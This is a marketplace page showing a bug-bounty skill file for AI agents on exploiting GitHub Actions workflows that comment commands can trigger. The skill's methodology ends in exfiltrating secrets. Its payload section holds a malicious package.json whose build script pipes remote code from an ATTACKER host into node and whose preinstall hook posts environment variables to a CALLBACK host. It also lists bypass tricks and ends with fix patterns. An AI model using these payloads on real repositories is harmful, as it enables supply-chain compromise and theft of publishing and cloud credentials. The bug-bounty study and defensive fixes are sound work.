agentsclimarketplace

Cicd bot command injection

Skill ShulkwiSEC/bb-huge/skills/curated/cicd-bot-command-injection

bb-huge πŸ€— , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

Install
npx -y skills add ShulkwiSEC/bb-huge --skill cicd-bot-command-injection

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Use when hunting CI/CD bot comment command vulnerabilities where issue_comment or pull_request_review_comment triggers invoke privileged workflows without verifying the commenter's identity or authorization. Trigger on: "bot command injection", "issue_comment trigger", "@github-actions", "slash command CI", "CI bot command", "comment triggered workflow", "unauthenticated bot", "github-actions publish", "comment dispatch", no authorization check on workflow_dispatch from comment, chatops CI/CD, supply chain via PR comment.

The file declares its own license as MIT. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

8.6 KB, as published. Nobody here has run it

CI/CD Bot Command Injection

What Is Broken and Why

Some repositories implement "ChatOps" patterns where maintainers post special comments (e.g., @bot publish, /deploy staging) to trigger CI/CD workflows. The issue_comment and pull_request_review_comment triggers run in the base repository context with access to secrets. When the workflow fails to verify that the commenter is an authorized maintainer before checking out and running PR code, any repository contributor (or in public repos, anyone) can trigger privileged jobs β€” including those that publish packages, deploy to production, or access sensitive tokens.

Key Signals

  • on: issue_comment or on: pull_request_review_comment trigger
  • Workflow body checks github.event.comment.body for a command string (e.g., contains(..., 'publish'))
  • No github.actor membership check against an allowlist or team
  • Workflow subsequently checks out the PR's merge commit or head SHA
  • Secrets (NPM_TOKEN, AWS_*, deploy keys) accessible in the triggered job
  • uses: ./.github/workflows/cmd-*.yml pattern β€” bot delegates to another reusable workflow that has secrets
  • Environment with "zero protection rules" used in publish/deploy job

Methodology

  1. Enumerate issue_comment and pull_request_review_comment triggers:
    grep -rln 'issue_comment\|pull_request_review_comment' .github/workflows/
    
  2. Read the workflow β€” find what command string it listens for:
    grep -A10 'issue_comment' .github/workflows/WORKFLOW.yml | grep 'contains\|startsWith\|body'
    
  3. Check for authorization verification:
    grep 'github.actor\|team\|collaborator\|permission' .github/workflows/WORKFLOW.yml
    
  4. If no actor check β€” any commenter can trigger it.
  5. Trace what the triggered workflow does: does it checkout PR code? Does it have secrets?
  6. Open a PR (or find an existing one) and post the trigger comment.
  7. Monitor workflow run to confirm execution and exfiltrate secrets.

Payloads & Tools

# Trigger a vulnerable bot command (GraphQL-JS pattern)
gh pr comment PR_NUMBER --body "@github-actions publish-pr-on-npm"

# Generic slash command
gh issue comment ISSUE_NUMBER --body "/deploy production"
gh pr comment PR_NUMBER --body "/publish canary"
gh pr comment PR_NUMBER --body "@bot release"

# Find the exact command string from workflow file
grep -r 'contains.*comment.*body\|startsWith.*comment.*body' .github/workflows/
// Malicious package.json in PR branch β€” runs when bot triggers npm build
{
  "scripts": {
    "build": "node legit-build.js && curl -sSfL https://ATTACKER/r.js | node",
    "preinstall": "curl -d @/proc/self/environ https://CALLBACK"
  }
}
# Check if environment has protection rules (zero rules = secrets freely available)
gh api repos/ORG/REPO/environments/ENV_NAME | jq '.protection_rules'
# Empty array = no required reviewers = secrets accessible to any triggered job

Bypass Techniques

  • No actor check: if the workflow only checks contains(github.event.comment.body, '/publish') without also verifying github.actor is a maintainer, any user can trigger it
  • Actor check bypass via username spoofing: some checks use github.actor == 'dependabot[bot]' β€” if the real bot account is also allowed, look for ways to impersonate naming patterns
  • Reusable workflow secrets passthrough: bot workflow passes secrets to a reusable workflow via secrets: inherit or explicit secrets: block β€” check if the reusable workflow has weaker authorization
  • Comment on old PRs: PRs don't need to be open β€” commenting on a merged or closed PR may still trigger the workflow if the condition only checks PR existence
  • Environment with zero protection rules: even if the main workflow is locked down, the publish environment may have no required reviewers, allowing automated jobs to access its secrets without manual approval

Exploitation Scenarios

Scenario 1 β€” NPM canary token via comment command (GraphQL-JS pattern) Setup: issue_comment workflow triggers on @github-actions publish-pr-on-npm, no actor authorization check. Workflow checks out PR merge commit, runs npm run build:npm, then publishes with NPM_CANARY_PR_PUBLISH_TOKEN in a zero-protection environment. Trigger: Attacker opens PR with malicious build:npm script, posts @github-actions publish-pr-on-npm comment. Impact: Build job executes attacker code β†’ poisons cache β†’ publish job restores poisoned cache β†’ NPM_CANARY_PR_PUBLISH_TOKEN exfiltrated. Attacker can publish malicious canary versions affecting downstream consumers (Apollo, Relay).

Scenario 2 β€” Deploy key exposure via slash command Setup: Repository uses /deploy staging comment to trigger deployment workflow. No check that commenter is a maintainer. Deployment workflow has AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY. Trigger: Attacker (with read access to repo) posts /deploy staging on any open PR. Impact: Deployment workflow runs with attacker's PR code in staging environment β€” arbitrary code execution with AWS credentials.

Scenario 3 β€” Secrets via zero-protection environment Setup: Bot workflow triggers on comment, passes secrets to reusable workflow via secrets: inherit. The reusable workflow uses environment: production which has zero protection rules. Trigger: Attacker triggers the comment command. Impact: Production secrets accessible to the job without any manual approval step β€” attacker receives full production credentials.

False Positives

  • Workflow checks github.actor against a hardcoded allowlist or org team membership before proceeding
  • Comment command only triggers read-only operations (posting status, running linters) β€” no secrets in scope
  • Environment has required reviewers β€” a human must approve before secrets are released to the job
  • Workflow runs in a sandbox with no secret access (permissions: {} or only pull-requests: write)

Fix Patterns

# WRONG: no actor authorization check
on:
  issue_comment:
    types: [created]
jobs:
  publish:
    if: contains(github.event.comment.body, '@bot publish')
    steps:
      - run: npm publish
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

# CORRECT: verify commenter is a repo collaborator with write access
jobs:
  check-permission:
    runs-on: ubuntu-latest
    outputs:
      allowed: ${{ steps.check.outputs.result }}
    steps:
      - id: check
        uses: actions/github-script@v7
        with:
          script: |
            const { data } = await github.rest.repos.getCollaboratorPermissionLevel({
              owner: context.repo.owner,
              repo: context.repo.repo,
              username: context.actor
            });
            return ['admin', 'write'].includes(data.permission);
  publish:
    needs: check-permission
    if: needs.check-permission.outputs.allowed == 'true'
  • Always verify github.actor has write/maintain/admin permission before running privileged jobs triggered by comments
  • Use environments: with required reviewers for any job that accesses publish or deploy secrets
  • Separate the build (runs attacker code, no secrets) from the publish (no attacker code, has secrets)
  • Prefer workflow_dispatch with explicit input validation over comment-triggered commands

Related Skills

[[github-actions-script-injection]] shares the same root cause: untrusted user-supplied input (a comment body vs. a branch name) reaches a shell execution context without sanitization. Once a bot command triggers a build of attacker-controlled PR code, the exploit path continues into [[pwn-request]] territory β€” preinstall scripts in the checked-out package.json run with workflow permissions. A zero-protection environment accessed via bot command can also be reached via [[github-actions-cache-poisoning]] if the bot workflow shares a cache key with a privileged workflow.

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.